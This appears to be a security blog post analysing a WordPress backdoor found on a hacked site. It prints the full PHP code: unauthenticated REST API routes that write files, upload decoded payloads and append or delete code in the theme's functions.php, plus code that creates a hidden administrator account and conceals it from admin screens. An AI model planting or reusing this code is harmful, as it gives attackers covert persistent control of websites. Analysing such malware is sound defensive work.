20 Feb 2025

Backdoor Code Routes Malicious Actions Through WordPress REST API

Website hackers are not exactly known for their sophistication, other than in the misleading portrayals put forward by too many security companies and security journalists. But sometimes malicious actors can do things that are more sophisticated. In the latest instance of that we ran across, they also screwed up. Checking on a website today, we found that there was visible code showing on the top of the website:

That turns out to be malicious code in the form of what is commonly referred to as a backdoor script. Based on a web search, this seems to be a broader issue with the placement of that malicious code in the wrong place, causing it to be accidentally included in the source code of web pages.

Looking at the source code of the page made it easier to see what this code was. The most interesting element of it was code that was running malicious actions through the WordPress REST API. For whatever reason, that was broken up in to two chunks. The first involved code that creates a .html file with contents specified by a request through the REST API. That code first makes a REST API registration:

add_action('rest_api_init', function () {
 
    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});

And then the code has the function create_html_file() that is called through the registered REST API request:

function create_html_file(WP_REST_Request $request)
{
 
    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');
 
    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }
 
    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }
 
    $root_path = ABSPATH;
 
    $file_path = $root_path . $file_name;
 
    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }
 
    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}

A line in the registration sets the permission_callback to “__return_true” so the attacker doesn’t need to be logged in to WordPress with a certain capability or provide a valid nonce to take the action.

After that, three more functions are registered to be accessible through the REST API:

add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));
 
    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));
 
    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

The first function allows uploading arbitrary files to the website’s uploads directory:

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');
 
    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }
 
    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;
 
    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }
 
    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }
 
    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;
 
    return new WP_REST_Response(['url' => $image_url], 200);
}

The second function allows adding arbitrary code to the currently used theme’s functions.php file (which is a common location for hackers to add code):

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');
 
    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }
 
    $functions_path = get_theme_file_path('/functions.php');
 
    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }
 
    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

The final function allows deleting arbitrary code from the theme’s functions.php (presumably to allow removing code the hacker added):

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');
 
    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }
 
    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);
 
    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }
 
    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';
 
    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);
 
        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }
 
        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}

Going back to the beginning of the malicious code, the first piece of it creates a new WordPress user with the Administrator role if that user doesn’t already exist:

//ETOMIDETKAadd_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';
 
    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');
 
            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

So if the user was deleted, say by restoring a database backup, it would return automatically. That code also runs through WordPress functionality.

That user is created with the username etomidetka, the email address etomidetka@example.com and the password set to StrongPassword13!@’. They are making sure to use a strong password.

The other code in the file is there to hide the user exists:

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});
 
add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);
 
    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }
 
    return $views;
});
 
add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});
 
add_filter('views_edit-post', function($views) {
    global $wpdb;
 
    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;
 
        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );
 
        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );
 
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }
 
        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }
 
    return $views;
});

What is The Value of Using WordPress Functionality Like This?

Why is a hacker running the backdoor through WordPress? There are several possible explanations. One is that it makes it less obvious when reviewing log files or filtering requests that it is being accessed versus the backdoor being in a standalone file. It also makes it less visibly obvious if you only quickly glance at the code that it isn’t legitimate code.

It won’t escape detection by more sophisticated means, since it uses code that should be checked for when reviewing the files of a website for malicious code.

How Did the Code Get There?

While that code is interesting, the most important thing to do with a website that has been hacked is to try to determine how the hack occurred. If you don’t figure that out and address the issue, the hacker could get back in. We don’t have an answer on that, since we happened to see it on a website. The website was quickly taken down, so the people running seemed to be aware of the issue. If anyone is familiar with how it gets on websites, leave a comment below.

2 thoughts on “Backdoor Code Routes Malicious Actions Through WordPress REST API

Leave a Reply to Hardy Cancel reply

Your email address will not be published.